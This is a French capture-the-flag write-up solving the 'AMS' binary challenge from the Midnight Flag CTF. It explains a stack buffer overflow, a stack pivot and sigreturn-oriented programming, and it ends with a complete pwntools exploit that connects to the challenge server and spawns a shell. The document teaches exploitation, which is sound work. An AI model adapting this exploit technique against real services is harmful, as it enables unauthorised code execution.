Le Midnight CTF est une compétition type Capture the Flag qui s’est déroulé à l’ESNA (Ecole Supérieur du Numérique Appliqué) de Bretagne. L’article suivant présente la résolution du challenge d’exploitation de binaire AMS.
Sommaire
- Etats des lieux
- Vulnérabilité
- Exploitation
- Annexe
Etats des lieux
D’après l’utilitaire checksec
le binaire est un exécutable ELF. Certaines mitigations ne sont pas présentes comme l’utilisation de stack cookie et PIE (Position Independant Executable).
L’exécutable seras toujours chargé en mémoire à partir de l’adresse 0x400000.
$ checksec AMS
[*] '/mnt/d/MidnightFlagCTF/Avion/AMS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Le binaire propose un menu avec 3 options, le challenge est plutôt axé sur l’exploitation de vulnérabilité que la recherche de vulnérabilité.
$ ./AMS
Welcome to AMS.
Here is what you can do:
------ Airplane Management System -----
1. Lookup a plane
2. Lookup a flight
3. Register for a flight.
4. Exit.
Vulnérabilité
Le binaire est assez simpliste et ne propose que de saisir des données sans les réafficher plus tard.
La vulnérabilité est de type stack buffer overflow. L’identifiant de vol (choix n°2) est saisi dans un buffer flight_id
qui ne fait en réalité que 46 octets.
Là où ça se complique un peu, c’est que le programme nous autorise à saisir que 72 octets. Il faut déjà envoyer 56 octets pour écraser l’adresse de retour, ce qui nous laisse la possibilité d’appeler au maximum 2 gadgets (les adresses étant sur 64 bits, 1 gadget consomme 8 octets).
Exploitation
Heureusement le concepteur du challenge nous a laissé quelques gadgets à coté d’une fonction nommée gift.
Le premier gadget permet de déplacer la valeur de RBP dans RAX.
Comme la fonction vulnérable se termine par une instruction leave
cela nous permet de setter RBP.
Le deuxième gadget soustrait RAX à RSP, cela permet de réaliser un pivot, c’est-à-dire déplacer RSP vers un endroit intéressant où l’on aurait préalablement placé une ropchain.
On contrôle quasiment tout le contenu du cadre de pile avec les buffers v4, user_info, plane_id et flight_id.
Il y a un gadget pop rax ; ret
ce qui nous permet de choisir le numéro du syscall à appeler, mais malheureusement on ne contrôle par directement les registres RDI, RSI et RDX nécessaire pour passer des arguments aux syscalls.
Pour contourner le problème on va utiliser la technique de la SROP (Sigreturn-oriented programming)
Cette technique consiste à tirer avantage du syscall sigreturn (syscall n°15 sur l’architecture Intel x64). Celui-ci ne prend aucun argument et permet de restaurer un contexte d’exécution préalablement stocké sur la stack. Dans un cadre légitime, lorsqu’un processus reçoit un signal le kernel prépare un cadre de pile dans lequel est sauvegardée l’état du CPU, ensuite il donne la main au gestionnaire de signal préalablement installé par le programme. Après avoir géré le signal, le programme peut reprendre son exécution là où il en était. La dernière instruction du gestionnaire de signal dépile l’adresse de retour qui n’est autre que l’adresse de sigreturn qui restaure le contexte d’exécution à partir de ce qui a été placé sur la pile.
Le contexte d’exécution est défini par une structure nommée ucontext_t
.
On peut préparer une première ropchain pour faire un appel au syscall read
pour chargé une deuxième ropchain à une adresse connue comme la section data du programme (0x4040B8).
Pour brancher sur la deuxième ropchain on va setter RSP vers la section data via le syscall sigreturn
.
Heureusement pwntools
facilite le travail via l’objet SigreturnFrame
qui permet de construire une structure ucontext_t
valide (penser a préciser l’architecture avant d’utiliser SigreturnFrame).
Une des difficultés du challenge est de découper sa payload en plusieurs morceaux pour l’inscrire dans la pile de la fonction vulnérable.
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0 # STDIN
frame.rsi = 0x4040B8
frame.rdx = 280
frame.rsp = 0x4040B8
frame.rip = SYSCALL
ropchain = p64(POP_RAX)
ropchain += p64(0xf)
ropchain += p64(SYSCALL)
ropchain += bytes(frame)
ropchain += p64(0xdeadbeef)
La deuxième ropchain s’occupe via la même technique d’appeler execve
pour obtenir un shell. La chaîne /bin/sh
est envoyée à la suite de la deuxième payload dans la section .data
ce qui permet de connaître son adresse.
Annexe
Code complet d’exploitation
from pwn import *
POP_RAX = 0x0401395
SUB_RSP_RAX = 0x040139A
SYSCALL = 0x040139E
GIFT = 0x0401391
context.arch='amd64'
TOTAL_BUF_SIZE = 0x136+8
p = remote("dyn-01.midnightflag.fr",11246)
# p = process("./AMS")
p.recvuntil(b"Here is what you can do:")
print(p.recvuntil(b"> ").decode('utf-8'))
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0 # STDIN
frame.rsi = 0x4040B8
frame.rdx = 280
frame.rsp = 0x4040B8
frame.rip = SYSCALL
ropchain = p64(POP_RAX)
ropchain += p64(0xf)
ropchain += p64(SYSCALL)
ropchain += bytes(frame)
ropchain += p64(0xdeadbeef)
# pad
ropchain += b"\x00" * (TOTAL_BUF_SIZE - len(ropchain))
print(len(ropchain))
if b"\n" in ropchain:
print("WARNING")
p.sendline(b"3")
p.recvuntil(b"Flight ID: ")
p.send(ropchain[0:32-1])
p.recvuntil(b"User Info: ")
p.send(ropchain[32:200+32-1])
print(p.recvuntil(b"> ").decode('utf-8'))
p.sendline(b"1")
p.recvuntil(b"Plane ID: ")
p.send(ropchain[32+0xC8+8:32+0xC8+8+32-1])
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"Flight ID: ")
loader = p64(GIFT)
loader+= p64(SUB_RSP_RAX)
p.send(ropchain[32+0xC8+8+32:32+0xC8+8+32+46]+b"XX"+p64(0x158)+loader[:len(loader)-1])
# raw_input(">>")
# time.sleep(1)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x4040B8 + (280 - len("/bin/sh\x00"))
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x4040B8
frame.rip = SYSCALL
rop2 = p64(POP_RAX)
rop2 += p64(0xf)
rop2 += p64(SYSCALL)
rop2 += bytes(frame)
rop2 += b"/bin/sh\x00"
p.send(rop2)
p.interactive()